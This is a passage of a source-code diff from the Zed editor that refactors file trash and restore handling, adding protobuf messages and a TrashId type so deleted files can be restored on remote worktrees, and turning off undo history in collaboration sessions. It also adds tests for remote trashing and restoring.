 //!  ─────────────────────────────────  ──────────────────────────────────────
 //!  Create(ProjectPath)               →  Created(ProjectPath)
-//!  Trash(ProjectPath)                →  Trashed(TrashedEntry)
+//!  Trash(ProjectPath)                →  Trashed(TrashId)
 //!  Rename(ProjectPath, ProjectPath)  →  Renamed(ProjectPath, ProjectPath)
-//!  Restore(TrashedEntry)             →  Restored(ProjectPath)
+//!  Restore(TrashId)                  →  Restored(ProjectPath)
 //!  Batch(Vec<Operation>)             →  Batch(Vec<Result>)
 //!
 //!
@@ -59,12 +59,12 @@
 //!                                  │
 //! User Operation  Undo             v
 //! Execute         Created(CONTRIBUTING.md) ────────> Trash(CONTRIBUTING.md)
-//! Record          Trashed(TrashedEntry(1))
+//! Record          Trashed(TrashId(1))
 //! History
 //! 	0 Created(src/main.rs)
 //! 	1 Renamed(README.md, readme.md) ─┐
 //!     2 +++cursor+++                   │(before the cursor)
-//! 	2 Trashed(TrashedEntry(1))       │
+//! 	2 Trashed(TrashId(1))            │
 //!                                      │
 //! User Operation  Undo                 v
 //! Execute         Renamed(README.md, readme.md) ───> Rename(readme.md, README.md)
@@ -73,7 +73,7 @@
 //! 	0 Created(src/main.rs)
 //!     1 +++cursor+++
 //! 	1 Renamed(readme.md, README.md) ─┐ (at the cursor)
-//! 	2 Trashed(TrashedEntry(1))       │
+//! 	2 Trashed(TrashId(1))            │
 //!                                      │
 //!   ┌──────────────────────────────────┴─────────────────────────────────────────┐
 //!     Redoing will take the result at the cursor position, convert that into the
@@ -90,10 +90,10 @@
 //! 	0 Created(src/main.rs)
 //! 	1 Renamed(README.md, readme.md)
 //!     2 +++cursor+++
-//! 	2 Trashed(TrashedEntry(1))────┐ (at the cursor)
-//!                                   │
-//! User Operation  Redo              v
-//! Execute         Trashed(TrashedEntry(1)) ────────> Restore(TrashedEntry(1))
+//! 	2 Trashed(TrashId(1))───────┐ (at the cursor)
+//!                                 │
+//! User Operation  Redo            v
+//! Execute         Trashed(TrashId(1)) ────────> Restore(TrashId(1))
 //! Record          Restored(ProjectPath)
 //! History
 //! 	0 Created(src/main.rs)
@@ -132,7 +132,7 @@
 
 use crate::ProjectPanel;
 use anyhow::{Context, Result, anyhow};
-use fs::TrashedEntry;
+use fs::TrashId;
 use futures::channel::mpsc;
 use gpui::{AppContext, AsyncApp, SharedString, Task, WeakEntity};
 use project::{ProjectPath, WorktreeId};
@@ -148,7 +148,7 @@ use worktree::CreatedEntry;
 enum Operation {
     Trash(ProjectPath),
     Rename(ProjectPath, ProjectPath),
-    Restore(WorktreeId, TrashedEntry),
+    Restore(WorktreeId, TrashId),
     Batch(Vec<Operation>),
 }
 
@@ -156,15 +156,15 @@ impl Operation {
     async fn execute(self, undo_manager: &Inner, cx: &mut AsyncApp) -> Result<Change> {
         Ok(match self {
             Operation::Trash(project_path) => {
-                let trash_entry = undo_manager.trash(&project_path, cx).await?;
-                Change::Trashed(project_path.worktree_id, trash_entry)
+                let trash_id = undo_manager.trash(&project_path, cx).await?;
+                Change::Trashed(project_path.worktree_id, trash_id)
             }
             Operation::Rename(from, to) => {
                 undo_manager.rename(&from, &to, cx).await?;
                 Change::Renamed(from, to)
             }
-            Operation::Restore(worktree_id, trashed_entry) => {
-                let project_path = undo_manager.restore(worktree_id, trashed_entry, cx).await?;
+            Operation::Restore(worktree_id, trash_id) => {
+                let project_path = undo_manager.restore(worktree_id, trash_id, cx).await?;
                 Change::Restored(project_path)
             }
             Operation::Batch(operations) => {
@@ -181,7 +181,7 @@ impl Operation {
 #[derive(Clone, Debug)]
 pub(crate) enum Change {
     Created(ProjectPath),
-    Trashed(WorktreeId, TrashedEntry),
+    Trashed(WorktreeId, TrashId),
     Renamed(ProjectPath, ProjectPath),
     Restored(ProjectPath),
     Batched(Vec<Change>),
@@ -191,9 +191,7 @@ impl Change {
     fn to_inverse(self) -> Operation {
         match self {
             Change::Created(project_path) => Operation::Trash(project_path),
-            Change::Trashed(worktree_id, trashed_entry) => {
-                Operation::Restore(worktree_id, trashed_entry)
-            }
+            Change::Trashed(worktree_id, trash_id) => Operation::Restore(worktree_id, trash_id),
             Change::Renamed(from, to) => Operation::Rename(to, from),
             Change::Restored(project_path) => Operation::Trash(project_path),
             // When inverting a batch of operations, we reverse the order of
@@ -231,6 +229,7 @@ struct Inner {
 #[derive(Clone)]
 pub struct UndoManager {
     tx: mpsc::Sender<UndoMessage>,
+    is_via_collab: bool,
     can_undo: Arc<AtomicBool>,
     can_redo: Arc<AtomicBool>,
 }
@@ -239,6 +238,7 @@ impl UndoManager {
     pub fn new(
         workspace: WeakEntity<Workspace>,
         panel: WeakEntity<ProjectPanel>,
+        is_via_collab: bool,
         cx: &App,
     ) -> Self {
         let (tx, rx) = mpsc::channel(1024);
@@ -246,6 +246,7 @@ impl UndoManager {
 
         let this = Self {
             tx,
+            is_via_collab,
             can_undo: Arc::clone(&inner.can_undo),
             can_redo: Arc::clone(&inner.can_redo),
         };
@@ -267,6 +268,17 @@ impl UndoManager {
             .context("Undo and redo task can not keep up")
     }
     pub fn record(&mut self, changes: impl IntoIterator<Item = Change>) -> Result<()> {
+        // In a collab session, undoing or redoing can send `TrashProjectEntry`
+        // or `RestoreProjectEntry`, for example, undoing a create or undoing a
+        // trash.
+        // Since older hosts can't decode those messages, which would
+        // silently never complete, besides disabling the `Undo`/`Redo` actions
+        // for collab, we also avoid recording history here so there's nothing
+        // that could later trigger those messages.
+        if self.is_via_collab {
+            return Ok(());
+        }
+
         self.tx
             .try_send(UndoMessage::Changed(changes.into_iter().collect()))
             .context("Undo and redo task can not keep up")
@@ -281,6 +293,11 @@ impl UndoManager {
     pub fn can_redo(&self) -> bool {
         self.can_redo.load(Ordering::Relaxed)
     }
+
+    #[cfg(test)]
+    pub(crate) fn set_is_via_collab(&mut self, is_via_collab: bool) {
+        self.is_via_collab = is_via_collab;
+    }
 }
 
 #[derive(Debug)]
@@ -384,7 +401,7 @@ impl Inner {
         // 	0 Created(src/main.rs)
         // 	1 Renamed(README.md, readme.md) ─┐
         //     2 +++cursor+++                │(before the cursor)
-        // 	2 Trashed(TrashedEntry(1))       │
+        // 	2 Trashed(TrashId(1))            │
         //                                   │
         // User Operation  Undo              v
         // Failed execute  Renamed(README.md, readme.md) ───> Rename(readme.md, README.md)
@@ -392,10 +409,10 @@ impl Inner {
         // History
         // 	0 Created(src/main.rs)
         //     1 +++cursor+++
-        // 	1 Trashed(TrashedEntry(1)) -----
-        //                                  |(at the cursor)
-        // User Operation  Redo             v
-        // Execute         Trashed(TrashedEntry(1)) ────────> Restore(TrashedEntry(1))
+        // 	1 Trashed(TrashId(1)) ---------
+        //                                |(at the cursor)
+        // User Operation  Redo           v
+        // Execute         Trashed(TrashId(1)) ────────> Restore(TrashId(1))
         // Record          Restored(ProjectPath)
         // History
         // 	0 Created(src/main.rs)
@@ -494,7 +511,7 @@ impl Inner {
         res?.await
     }
 
-    async fn trash(&self, project_path: &ProjectPath, cx: &mut AsyncApp) -> Result<TrashedEntry> {
+    async fn trash(&self, project_path: &ProjectPath, cx: &mut AsyncApp) -> Result<TrashId> {
         let Some(workspace) = self.workspace.upgrade() else {
             return Err(anyhow!("Failed to obtain workspace."));
         };
@@ -508,20 +525,17 @@ impl Inner {
                         .ok_or_else(|| anyhow!("No entry for path."))?;
 
                     project
-                        .delete_entry(entry_id, true, cx)
+                        .trash_entry(entry_id, cx)
                         .ok_or_else(|| anyhow!("Worktree entry should exist"))
                 })
             })?
             .await
-            .and_then(|entry| {
-                entry.ok_or_else(|| anyhow!("When trashing we should always get a trashentry"))
-            })
     }
 
     async fn restore(
         &self,
         worktree_id: WorktreeId,
-        trashed_entry: TrashedEntry,
+        trash_id: TrashId,
         cx: &mut AsyncApp,
     ) -> Result<ProjectPath> {
         let Some(workspace) = self.workspace.upgrade() else {
@@ -531,7 +545,7 @@ impl Inner {
         workspace
             .update(cx, |workspace, cx| {
                 workspace.project().update(cx, |project, cx| {
-                    project.restore_entry(worktree_id, trashed_entry, cx)
+                    project.restore_entry(worktree_id, trash_id, cx)
                 })
             })
             .await
diff --git a/crates/proto/proto/worktree.proto b/crates/proto/proto/worktree.proto
index 285b4c9056d763..42869a50811b64 100644
--- a/crates/proto/proto/worktree.proto
+++ b/crates/proto/proto/worktree.proto
@@ -118,7 +118,22 @@ message CopyProjectEntry {
 message DeleteProjectEntry {
   uint64 project_id = 1;
   uint64 entry_id = 2;
-  bool use_trash = 3;
+  // Deprecated in favor of `TrashProjectEntry`.
+  //
+  // TODO(yara|dino): once all supported peers use `TrashProjectEntry`, remove
+  // this field and replace it with `reserved 3;` so the tag is never reused.
+  bool use_trash = 3 [deprecated = true];
+}
+
+message TrashProjectEntry {
+  uint64 project_id = 1;
+  uint64 entry_id = 2;
+}
+
+message RestoreProjectEntry {
+  uint64 project_id = 1;
+  uint64 worktree_id = 2;
+  uint64 trash_id = 3;
 }
 
 message ExpandProjectEntry {
@@ -139,11 +154,29 @@ message ExpandAllForProjectEntryResponse {
   uint64 worktree_scan_id = 1;
 }
 
+// TODO(yara|dino): split into per-operation response messages (e.g.
+// `CreateProjectEntryResponse`, `CopyProjectEntryResponse`,
+// `DeleteProjectEntryResponse`, `RenameProjectEntryResponse`) for consistency
+// with the dedicated `TrashProjectEntryResponse` and
+// `RestoreProjectEntryResponse` responses below.
+// This generic message is shared by `CreateProjectEntry`, `CopyProjectEntry`,
+// `DeleteProjectEntry`, and `RenameProjectEntry`, so `entry` doesn't fit all of
+// them. For example, `DeleteProjectEntry` notably never populates it.
 message ProjectEntryResponse {
   optional Entry entry = 1;
   uint64 worktree_scan_id = 2;
 }
 
+message TrashProjectEntryResponse {
+  uint64 trash_id = 1;
+  uint64 worktree_scan_id = 2;
+}
+
+message RestoreProjectEntryResponse {
+  Entry entry = 1;
+  uint64 worktree_scan_id = 2;
+}
+
 message UpdateWorktreeSettings {
   uint64 project_id = 1;
   uint64 worktree_id = 2;
diff --git a/crates/proto/proto/zed.proto b/crates/proto/proto/zed.proto
index 07ec0046747158..c4a378ee12db38 100644
--- a/crates/proto/proto/zed.proto
+++ b/crates/proto/proto/zed.proto
@@ -62,7 +62,7 @@ message Envelope {
     GetEditPredictionDefinition get_edit_prediction_definition = 462;
     GetEditPredictionDefinitionResponse get_edit_prediction_definition_response = 463;
     GetEditPredictionTypeDefinition get_edit_prediction_type_definition = 464;
-    GetEditPredictionTypeDefinitionResponse get_edit_prediction_type_definition_response = 465; // current max
+    GetEditPredictionTypeDefinitionResponse get_edit_prediction_type_definition_response = 465;
     GetDeclaration get_declaration = 237;
     GetDeclarationResponse get_declaration_response = 238;
     GetTypeDefinition get_type_definition = 34;
@@ -494,6 +494,10 @@ message Envelope {
     TelemetryEvent telemetry_event = 459;
     ResolveCodeAction resolve_code_action = 460;
     ResolveCodeActionResponse resolve_code_action_response = 461;
+    TrashProjectEntry trash_project_entry = 466;
+    TrashProjectEntryResponse trash_project_entry_response = 467;
+    RestoreProjectEntry restore_project_entry = 468;
+    RestoreProjectEntryResponse restore_project_entry_response = 469; // current max
   }
 
   reserved 87 to 88;
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index f7dd604d82d5fa..20ed7b9d7cd93a 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -64,6 +64,10 @@ messages!(
     (DeleteChannel, Foreground),
     (DeleteNotification, Foreground),
     (DeleteProjectEntry, Foreground),
+    (TrashProjectEntry, Foreground),
+    (TrashProjectEntryResponse, Foreground),
+    (RestoreProjectEntry, Foreground),
+    (RestoreProjectEntryResponse, Foreground),
     (DownloadFileByPath, Background),
     (DownloadFileResponse, Background),
     (EndStream, Foreground),
@@ -406,6 +410,8 @@ request_messages!(
     (DeclineCall, Ack),
     (DeleteChannel, Ack),
     (DeleteProjectEntry, ProjectEntryResponse),
+    (TrashProjectEntry, TrashProjectEntryResponse),
+    (RestoreProjectEntry, RestoreProjectEntryResponse),
     (DownloadFileByPath, DownloadFileResponse),
     (ExpandProjectEntry, ExpandProjectEntryResponse),
     (ExpandAllForProjectEntry, ExpandAllForProjectEntryResponse),
@@ -663,6 +669,8 @@ entity_messages!(
     ResolveDocumentLink,
     GetFoldingRanges,
     DeleteProjectEntry,
+    TrashProjectEntry,
+    RestoreProjectEntry,
     ExpandProjectEntry,
     ExpandAllForProjectEntry,
     FindSearchCandidates,
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 53aec1f567361e..31fb7d14211682 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -3492,6 +3492,113 @@ async fn test_remote_restore_unstaged_hunk_clears_diff(
     });
 }
 
+#[gpui::test]
+async fn test_remote_delete_project_entry_with_trash(
+    cx: &mut TestAppContext,
+    server_cx: &mut TestAppContext,
+) {
+    let fs = FakeFs::new(server_cx.executor());
+
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "zed": {
+                "file_a.txt": "File A"
+            }
+        }),
+    )
+    .await;
+
+    let (project, _headless_project) = init_test(&fs, cx, server_cx).await;
+    let (worktree, _path) = project
+        .update(cx, |project, cx| {
+            project.find_or_create_worktree(path!("/root/zed"), true, cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    let entry_id = worktree.update(cx, |worktree, _cx| {
+        worktree.entry_for_path(rel_path("file_a.txt")).unwrap().id
+    });
+
+    let remote_client = project.read_with(cx, |project, _cx| {
+        project
+            .remote_client()
+            .expect("project should have a remote client")
+    });
+
+    let proto_client =
+        remote_client.read_with(cx, |remote_client, _cx| remote_client.proto_client());
+
+    proto_client
+        .request(proto::DeleteProjectEntry {
+            project_id: proto::REMOTE_SERVER_PROJECT_ID,
+            entry_id: entry_id.to_proto(),
+            #[allow(deprecated)]
+            use_trash: true,
+        })
+        .await
+        .unwrap();
+
+    assert_eq!(
+        fs.trashed_paths(),
+        vec![PathBuf::from(path!("/root/zed/file_a.txt"))]
+    );
+}
+
+#[gpui::test]
+async fn test_remote_trash_restore(cx: &mut TestAppContext, server_cx: &mut TestAppContext) {
+    let fs = FakeFs::new(server_cx.executor());
+
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "zed": {
+                "file_a.txt": "File A"
+            }
+        }),
+    )
+    .await;
+
+    let (project, _headless_project) = init_test(&fs, cx, server_cx).await;
+    let (worktree, _path) = project
+        .update(cx, |project, cx| {
+            project.find_or_create_worktree(path!("/root/zed"), true, cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    let worktree_id = worktree.update(cx, |worktree, _cx| worktree.id());
+    let entry_id = worktree.update(cx, |worktree, _cx| {
+        worktree.entry_for_path(rel_path("file_a.txt")).unwrap().id
+    });
+
+    let trash_id = project
+        .update(cx, |project, cx| project.trash_entry(entry_id, cx))
+        .unwrap()
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    worktree.update(cx, |worktree, _cx| {
+        assert!(worktree.entry_for_path(rel_path("file_a.txt")).is_none());
+    });
+
+    project
+        .update(cx, |project, cx| {
+            project.restore_entry(worktree_id, trash_id, cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    worktree.update(cx, |worktree, _cx| {
+        assert!(worktree.entry_for_path(rel_path("file_a.txt")).is_some());
+    });
+}
+
 pub async fn init_test(
     server_fs: &Arc<FakeFs>,
     cx: &mut TestAppContext,
diff --git a/crates/rpc/src/peer.rs b/crates/rpc/src/peer.rs
index d9f34d0dc59ea5..03bbf5028bdc2d 100644
--- a/crates/rpc/src/peer.rs
+++ b/crates/rpc/src/peer.rs
@@ -469,15 +469,18 @@ impl Peer {
                 .lock()
                 .as_mut()
                 .context("connection was closed")?
+                // requesting to forward the response on the oneshot tx
+                // when it's envelope.id matches the one for the request we are about to send
                 .insert(envelope.id, tx);
             connection
                 .outgoing_tx
+                // request that the message is send at some point in the future
                 .unbounded_send(Message::Envelope(envelope))
                 .context("connection was closed")?;
             Ok(())
         });
         async move {
-            send?;
+            send?; // wait for reception
             let (response, received_at, _barrier) = rx.await.context("connection was closed")?;
             if let Some(proto::envelope::Payload::Error(error)) = &response.payload {
                 return Err(RpcError::from_proto(error, type_name));
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 06442855fb163c..ed06ceba7d1285 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -8,7 +8,7 @@ use clock::ReplicaId;
 use collections::{BTreeMap, HashMap, HashSet, VecDeque};
 use encoding_rs::Encoding;
 use fs::{
-    Fs, MTime, PathEvent, PathEventKind, RemoveOptions, TrashedEntry, Watcher, copy_recursive,
+    Fs, MTime, PathEvent, PathEventKind, RemoveOptions, TrashId, Watcher, copy_recursive,
     read_dir_items,
 };
 use futures::{
@@ -73,7 +73,7 @@ use text::{LineEnding, Rope};
 use util::{
     ResultExt, maybe,
     paths::{PathMatcher, PathStyle, SanitizedPath, home_dir},
-    rel_path::{RelPath, RelPathBuf},
+    rel_path::RelPath,
 };
 pub use worktree_settings::WorktreeSettings;
 
@@ -964,26 +964,51 @@ impl Worktree {
         }
     }
 
-    pub fn delete_entry(
+    pub fn trash_entry(
         &mut self,
         entry_id: ProjectEntryId,
-        trash: bool,
         cx: &mut Context<Worktree>,
-    ) -> Option<Task<Result<Option<TrashedEntry>>>> {
+    ) -> Option<Task<Result<TrashId>>> {
+        let entry = match self {
+            Worktree::Local(this) => this.entry_for_id(entry_id),
+            Worktree::Remote(this) => this.entry_for_id(entry_id),
+        }?
+        .clone();
+
         let task = match self {
-            Worktree::Local(this) => this.delete_entry(entry_id, trash, cx),
-            Worktree::Remote(this) => this.delete_entry(entry_id, trash, cx),
-        }?;
+            Worktree::Local(this) => this.trash_entry(entry.clone(), cx),
+            Worktree::Remote(this) => this.trash_entry(entry_id, cx),
+        };
+
+        let mut ids = vec![entry_id];
+        self.get_children_ids_recursive(&entry.path, &mut ids);
+
+        for id in ids {
+            cx.emit(Event::DeletedEntry(id));
+        }
+        Some(task)
+    }
 
-        let entry = match &*self {
+    pub fn delete_entry(
+        &mut self,
+        entry_id: ProjectEntryId,
+        cx: &mut Context<Worktree>,
+    ) -> Option<Task<Result<()>>> {
+        let entry = match self {
             Worktree::Local(this) => this.entry_for_id(entry_id),
             Worktree::Remote(this) => this.entry_for_id(entry_id),
-        }?;
+        }?
+        .clone();
+
+        let task = match self {
+            Worktree::Local(this) => this.delete_entry(entry.clone(), cx),
+            Worktree::Remote(this) => this.delete_entry(entry_id, cx),
+        };
 
         let mut ids = vec![entry_id];
-        let path = &*entry.path;
+        let path = entry.path;
 
-        self.get_children_ids_recursive(path, &mut ids);
+        self.get_children_ids_recursive(&path, &mut ids);
 
         for id in ids {
             cx.emit(Event::DeletedEntry(id));
@@ -991,17 +1016,14 @@ impl Worktree {
         Some(task)
     }
 
-    pub async fn restore_entry(
-        trash_entry: TrashedEntry,
-        worktree: Entity<Self>,
-        cx: &mut AsyncApp,
-    ) -> Result<RelPathBuf> {
-        let is_local = worktree.read_with(cx, |this, _| this.is_local());
-        if is_local {
-            LocalWorktree::restore_entry(trash_entry, worktree, cx).await
-        } else {
-            // TODO(dino): Add support for restoring entries in remote worktrees.
-            Err(anyhow!("Unsupported"))
+    pub fn restore_entry(
+        &mut self,
+        trash_id: TrashId,
+        cx: &mut Context<'_, Worktree>,
+    ) -> Task<Result<Entry>> {
+        match self {
+            Worktree::Local(this) => this.restore_entry(trash_id, cx),
+            Worktree::Remote(this) => this.restore_entry(trash_id, cx),
         }
     }
 
@@ -1013,18 +1035,6 @@ impl Worktree {
         }
     }
 
-    // pub fn rename_entry(
-    //     &mut self,
-    //     entry_id: ProjectEntryId,
-    //     new_path: Arc<RelPath>,
-    //     cx: &Context<Self>,
-    // ) -> Task<Result<CreatedEntry>> {
-    //     match self {
-    //         Worktree::Local(this) => this.rename_entry(entry_id, new_path, cx),
-    //         Worktree::Remote(this) => this.rename_entry(entry_id, new_path, cx),
-    //     }
-    // }
-
     pub fn copy_external_entries(
         &mut self,
         target_directory: Arc<RelPath>,
@@ -1119,21 +1129,49 @@ impl Worktree {
         })
     }
 
-    pub async fn handle_delete_entry(
+    pub async fn handle_trash_entry(
         this: Entity<Self>,
-        request: proto::DeleteProjectEntry,
+        request: proto::TrashProjectEntry,
         mut cx: AsyncApp,
-    ) -> Result<proto::ProjectEntryResponse> {
+    ) -> Result<proto::TrashProjectEntryResponse> {
         let (scan_id, task) = this.update(&mut cx, |this, cx| {
             (
                 this.scan_id(),
-                this.delete_entry(
-                    ProjectEntryId::from_proto(request.entry_id),
-                    request.use_trash,
-                    cx,
-                ),
+                this.trash_entry(ProjectEntryId::from_proto(request.entry_id), cx),
             )
         });
+        let trash_id = task
+            .ok_or_else(|| anyhow::anyhow!("invalid entry"))?
+            .await?;
+
+        Ok(proto::TrashProjectEntryResponse {
+            trash_id: trash_id.to_proto(),
+            worktree_scan_id: scan_id as u64,
+        })
+    }
+
+    pub async fn handle_delete_entry(
+        this: Entity<Self>,
+        request: proto::DeleteProjectEntry,
+        mut cx: AsyncApp,
+    ) -> Result<proto::ProjectEntryResponse> {
+        let (scan_id, task) = this.update(&mut cx, |this, cx| {
+            // While the `use_trash` field is deprecated but not removed, we
+            // still need to support either trashing or deleting the file.
+            // Otherwise, if an older client sends the `DeleteProjectEntry {
+            // use_trash: true }` rather than the newer `TrashProjectEntry`, and
+            // the flag was ignored, we'd permanently delete a file that was
+            // actually meant to be trashed.
+            #[allow(deprecated)]
+            let task = if request.use_trash {
+                this.trash_entry(ProjectEntryId::from_proto(request.entry_id), cx)
+                    .map(|task| cx.background_spawn(async move { task.await.map(|_| ()) }))
+            } else {
+                this.delete_entry(ProjectEntryId::from_proto(request.entry_id), cx)
+            };
+
+            (this.scan_id(), task)
+        });
         task.ok_or_else(|| anyhow::anyhow!("invalid entry"))?
             .await?;
         Ok(proto::ProjectEntryResponse {
@@ -1142,6 +1180,26 @@ impl Worktree {
         })
     }
 
+    pub async fn handle_restore_entry(
+        this: Entity<Self>,
+        request: proto::RestoreProjectEntry,
+        mut cx: AsyncApp,
+    ) -> Result<proto::RestoreProjectEntryResponse> {
+        let (scan_id, task) = this.update(&mut cx, |this, cx| {
+            (
+                this.scan_id(),
+                this.restore_entry(TrashId::from_proto(request.trash_id), cx),
+            )
+        });
+
+        let entry = task.await?;
+
+        Ok(proto::RestoreProjectEntryResponse {
+            entry: Some(proto::Entry::from(&entry)),
+            worktree_scan_id: scan_id as u64,
+        })
+    }
+
     pub async fn handle_expand_entry(
         this: Entity<Self>,
         request: proto::ExpandProjectEntry,
@@ -1841,89 +1899,91 @@ impl LocalWorktree {
         })
     }
 
-    pub fn delete_entry(
-        &self,
-        entry_id: ProjectEntryId,
-        trash: bool,
-        cx: &Context<Worktree>,
-    ) -> Option<Task<Result<Option<TrashedEntry>>>> {
-        let entry = self.entry_for_id(entry_id)?.clone();
+    pub fn trash_entry(&self, entry: Entry, cx: &Context<Worktree>) -> Task<Result<TrashId>> {
         let abs_path = self.absolutize(&entry.path);
         let fs = self.fs.clone();
 
-        let delete = cx.background_spawn(async move {
-            let trashed_entry = match (entry.is_file(), trash) {
-                (true, true) => Some(fs.trash(&abs_path, Default::default()).await?),
-                (false, true) => Some(
-                    fs.trash(
-                        &abs_path,
-                        RemoveOptions {
-                            recursive: true,
-                            ignore_if_not_exists: false,
-                        },
-                    )
-                    .await?,
-                ),
-                (true, false) => {
-                    fs.remove_file(&abs_path, Default::default()).await?;
-                    None
-                }
-                (false, false) => {
-                    fs.remove_dir(
-                        &abs_path,
-                        RemoveOptions {
-                            recursive: true,
-                            ignore_if_not_exists: false,
-                        },
-                    )
-                    .await?;
-                    None
-                }
+        cx.spawn(async move |this, cx| {
+            let trash_id = if entry.is_file() {
+                fs.trash(&abs_path, Default::default()).await?
+            } else {
+                fs.trash(
+                    &abs_path,
+                    RemoveOptions {
+                        recursive: true,
+                        ignore_if_not_exists: false,
+                    },
+                )
+                .await?
             };
 
-            anyhow::Ok((trashed_entry, entry.path))
-        });
-
-        Some(cx.spawn(async move |this, cx| {
-            let (trashed_entry, path) = delete.await?;
             this.update(cx, |this, _| {
                 this.as_local_mut()
                     .unwrap()
-                    .refresh_entries_for_paths(vec![path])
+                    .refresh_entries_for_paths(vec![entry.path])
             })?
             .recv()
             .await;
 
-            Ok(trashed_entry)
-        }))
+            Ok(trash_id)
+        })
     }
 
-    pub async fn restore_entry(
-        trash_entry: TrashedEntry,
-        this: Entity<Worktree>,
-        cx: &mut AsyncApp,
-    ) -> Result<RelPathBuf> {
-        let Some((fs, worktree_abs_path, path_style)) = this.read_with(cx, |this, _cx| {
-            let local_worktree = match this {
-                Worktree::Local(local_worktree) => local_worktree,
-                Worktree::Remote(_) => return None,
+    pub fn delete_entry(&self, entry: Entry, cx: &Context<Worktree>) -> Task<Result<()>> {
+        let abs_path = self.absolutize(&entry.path);
+        let fs = self.fs.clone();
+
+        cx.spawn(async move |this, cx| {
+            if entry.is_file() {
+                fs.remove_file(&abs_path, Default::default()).await?
+            } else {
+                fs.remove_dir(
+                    &abs_path,
+                    RemoveOptions {
+                        recursive: true,
+                        ignore_if_not_exists: false,
+                    },
+                )
+                .await?
             };
 
-            let fs = local_worktree.fs.clone();
-            let path_style = local_worktree.path_style();
-            Some((fs, Arc::clone(local_worktree.abs_path()), path_style))
-        }) else {
-            return Err(anyhow!("Localworktree should not change into a remote one"));
-        };
+            this.update(cx, |this, _| {
+                this.as_local_mut()
+                    .unwrap()
+                    .refresh_entries_for_paths(vec![entry.path])
+            })?
+            .recv()
+            .await;
+
+            Ok(())
+        })
+    }
+
+    pub fn restore_entry(
+        &mut self,
+        trash_id: TrashId,
+        cx: &mut Context<'_, Worktree>,
+    ) -> Task<Result<Entry>> {
+        let fs = self.fs.clone();
+        let worktree_abs_path = self.abs_path().clone();
+        let path_style = self.path_style();
+
+        cx.spawn(async move |this, cx| {
+            let path_buf = fs.restore(trash_id).await?;
+            let path = path_buf
+                .strip_prefix(worktree_abs_path)
+                .context("Could not strip prefix")?;
+            let path = Arc::from(RelPath::new(&path, path_style)?.as_ref());
 
-        let path_buf = fs.restore(trash_entry).await?;
-        let path = path_buf
-            .strip_prefix(worktree_abs_path)
-            .context("Could not strip prefix")?;
-        let path = RelPath::new(&path, path_style)?;
-        let path = path.into_owned();
+            let entry = this
+                .update(cx, |this, cx| {
+                    this.as_local_mut().unwrap().refresh_entry(path, None, cx)
+                })?
+                .await?
+                .context("Entry not found after restore")?;
 
-        Ok(path)
+            Ok(entry)
+        })
     }
 
     pub fn copy_external_entries(
@@ -2294,20 +2354,20 @@ impl RemoteWorktree {
         })
     }
 
-    fn delete_entry(
+    fn trash_entry(
         &self,
         entry_id: ProjectEntryId,
-        trash: bool,
         cx: &Context<Worktree>,
-    ) -> Option<Task<Result<Option<TrashedEntry>>>> {
-        let response = self.client.request(proto::DeleteProjectEntry {
+    ) -> Task<Result<TrashId>> {
+        let response = self.client.request(proto::TrashProjectEntry {
             project_id: self.project_id,
             entry_id: entry_id.to_proto(),
-            use_trash: trash,
         });
-        Some(cx.spawn(async move |this, cx| {
+
+        cx.spawn(async move |this, cx| {
             let response = response.await?;
             let scan_id = response.worktree_scan_id as usize;
+            let trash_id = response.trash_id;
 
             this.update(cx, move |this, _| {
                 this.as_remote_mut().unwrap().wait_for_snapshot(scan_id)
@@ -2319,50 +2379,65 @@ impl RemoteWorktree {
                 let snapshot = &mut this.background_snapshot.lock().0;
                 snapshot.delete_entry(entry_id);
                 this.snapshot = snapshot.clone();
+            })?;
 
-                // TODO: How can we actually track the deleted entry when
-                // working in remote? We likely only need to keep this
-                // information on the remote side in order to support restoring
-                // the trashed file.
-                None
+            Ok(TrashId::from_proto(trash_id))
+        })
+    }
+
+    fn delete_entry(&self, entry_id: ProjectEntryId, cx: &Context<Worktree>) -> Task<Result<()>> {
+        let response = self.client.request(proto::DeleteProjectEntry {
+            project_id: self.project_id,
+            entry_id: entry_id.to_proto(),
+            // The `use_trash` field is being deprecated but it's still required
+            // in the message, hence the `#[allow(deprecated)]` attribute.
+            #[allow(deprecated)]
+            use_trash: false,
+        });
+
+        cx.spawn(async move |this, cx| {
+            let response = response.await?;
+            let scan_id = response.worktree_scan_id as usize;
+
+            this.update(cx, move |this, _| {
+                this.as_remote_mut().unwrap().wait_for_snapshot(scan_id)
+            })?
+            .await?;
+
+            this.update(cx, |this, _| {
+                let this = this.as_remote_mut().unwrap();
+                let snapshot = &mut this.background_snapshot.lock().0;
+                snapshot.delete_entry(entry_id);
+                this.snapshot = snapshot.clone();
             })
-        }))
+        })
     }
 
-    // fn rename_entry(
-    //     &self,
-    //     entry_id: ProjectEntryId,
-    //     new_path: impl Into<Arc<RelPath>>,
-    //     cx: &Context<Worktree>,
-    // ) -> Task<Result<CreatedEntry>> {
-    //     let new_path: Arc<RelPath> = new_path.into();
-    //     let response = self.client.request(proto::RenameProjectEntry {
-    //         project_id: self.project_id,
-    //         entry_id: entry_id.to_proto(),
-    //         new_worktree_id: new_path.worktree_id,
-    //         new_path: new_path.as_ref().to_proto(),
-    //     });
-    //     cx.spawn(async move |this, cx| {
-    //         let response = response.await?;
-    //         match response.entry {
-    //             Some(entry) => this
-    //                 .update(cx, |this, cx| {
-    //                     this.as_remote_mut().unwrap().insert_entry(
-    //                         entry,
-    //                         response.worktree_scan_id as usize,
-    //                         cx,
-    //                     )
-    //                 })?
-    //                 .await
-    //                 .map(CreatedEntry::Included),
-    //             None => {
-    //                 let abs_path =
-    //                     this.read_with(cx, |worktree, _| worktree.absolutize(&new_path))?;
-    //                 Ok(CreatedEntry::Excluded { abs_path })
-    //             }
